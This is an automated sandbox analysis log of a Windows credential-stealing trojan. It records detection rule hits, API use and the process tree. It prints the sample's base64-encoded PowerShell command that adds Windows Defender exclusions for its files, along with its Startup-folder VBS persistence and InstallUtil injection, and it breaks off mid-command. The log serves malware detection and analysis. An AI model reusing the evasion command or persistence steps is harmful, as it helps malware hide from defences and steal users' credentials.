Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0127A8B9	0_2_0127A8B9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0127A8C8	0_2_0127A8C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0127B258	0_2_0127B258
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06367CC8	0_2_06367CC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0636DDF0	0_2_0636DDF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06366E81	0_2_06366E81
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0636EFF8	0_2_0636EFF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06367CB9	0_2_06367CB9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0636ABA0	0_2_0636ABA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06360006	0_2_06360006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_06360040	0_2_06360040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_0636697D	0_2_0636697D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071CF200	0_2_071CF200
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071CF4E0	0_2_071CF4E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071CE140	0_2_071CE140
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071B0006	0_2_071B0006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071CDC58	0_2_071CDC58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Code function: 0_2_071B0040	0_2_071B0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F1B490	11_2_04F1B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04F1B471	11_2_04F1B471
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01469B30	14_2_01469B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01464A90	14_2_01464A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0146CDA8	14_2_0146CDA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_01463E78	14_2_01463E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_014641C0	14_2_014641C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_062956E0	14_2_062956E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06293F50	14_2_06293F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0629BD08	14_2_0629BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0629DD08	14_2_0629DD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06299AE8	14_2_06299AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06292B00	14_2_06292B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06298B90	14_2_06298B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06290040	14_2_06290040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0629323B	14_2_0629323B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06295000	14_2_06295000
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E7E958	19_2_00E7E958
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E7A8C8	19_2_00E7A8C8
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E7A8B9	19_2_00E7A8B9
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E7B253	19_2_00E7B253
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_00E7B258	19_2_00E7B258
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E1F4E0	19_2_06E1F4E0
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E1F200	19_2_06E1F200
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E1DC58	19_2_06E1DC58
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E00040	19_2_06E00040
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E0001F	19_2_06E0001F
Source: C:\Users\user\AppData\Roaming\pdf.exe	Code function: 19_2_06E1E140	19_2_06E1E140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016C9378	23_2_016C9378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016C9B38	23_2_016C9B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016C4A98	23_2_016C4A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016CCDB0	23_2_016CCDB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016C3E80	23_2_016C3E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_016C41C8	23_2_016C41C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06678E21	23_2_06678E21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_066756E0	23_2_066756E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06673F50	23_2_06673F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_0667BD08	23_2_0667BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_0667DD18	23_2_0667DD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06679AE8	23_2_06679AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06672B00	23_2_06672B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06670040	23_2_06670040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06673250	23_2_06673250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_0667DB70	23_2_0667DB70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 23_2_06675000	23_2_06675000

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1455658225.0000000006080000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.00000000040DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439039877.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000000.1177226772.0000000000C26000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVolwzlqu.exe2 vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1457024716.00000000064B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRpddz.dll" vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVolwzlqu.exe2 vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpddz.dll" vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1460211327.0000000006980000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7e5bb978-3a35-43a5-95fe-dd44d69d6a5a.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1449250723.000000000408E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Binary or memory string: OriginalFilenameVolwzlqu.exe2 vs SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 19.2.pdf.exe.3db85e8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 19.2.pdf.exe.3db85e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, Lvqrj.cs	Cryptographic APIs: 'CreateDecryptor'
Source: pdf.exe.0.dr, Lvqrj.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.416a0b0.2.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.408e910.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.40de930.1.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe.6080000.4.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@32/8@1/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enjrdy5x.wl1.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs"

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\pdf.exe "C:\Users\user\AppData\Roaming\pdf.exe"
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 